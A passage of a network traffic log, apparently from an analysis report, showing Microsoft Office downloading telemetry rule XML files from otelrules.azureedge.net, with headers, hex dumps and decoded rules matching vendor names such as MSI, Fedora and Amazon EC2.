35	192.168.2.7	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:17 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:17 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085517Z-1866b5c5fbbvqncjhC1DFW0gcw00000000zg00000000f911 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:17 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:18 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:18 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a4cce2d9-d01e-008e-4d40-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085518Z-1866b5c5fbbsqznnhC1DFWg28g000000018g0000000069wb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:18 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:18 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:18 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7bf77406-901e-0083-6cab-36bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085518Z-16547b76f7fk9g8vhC1DFW825400000001xg000000000wkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:18 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:18 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:18 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a288df0b-b01e-00ab-0601-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085518Z-16547b76f7fgvq8chC1DFWhd2w00000001ng0000000086hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:18 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:18 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:18 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:18 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085518Z-16547b76f7fd4rc5hC1DFWkzhw00000001f0000000000ezw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:18 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:18 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:18 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: d999b00b-501e-008f-5509-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085518Z-1866b5c5fbbr78bbhC1DFWqz2n000000015g000000007mk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:18 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:18 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 79c751c3-501e-0078-3aa2-3406cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-1866b5c5fbbtpjhjhC1DFWr6tw00000000x000000000arb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:19 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:18 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 86e20b26-901e-00a0-18ab-366a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-16547b76f7f8dwtrhC1DFWd1zn0000000mwg00000000k9s1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d6de3b9d-801e-00a0-7812-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-1866b5c5fbb22d6ghC1DFW8uaw0000000120000000004r9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-1866b5c5fbbt75vghC1DFW0qd400000000xg000000008xmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:19 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 1e70bdcb-401e-0029-2301-2d9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-16547b76f7f9s8x7hC1DFWywrg00000000v0000000007cgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:19 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:19 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 998ee9d3-c01e-0046-120b-362db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085519Z-1866b5c5fbbzzh8chC1DFWdrc400000000n000000000cqga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:19 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" 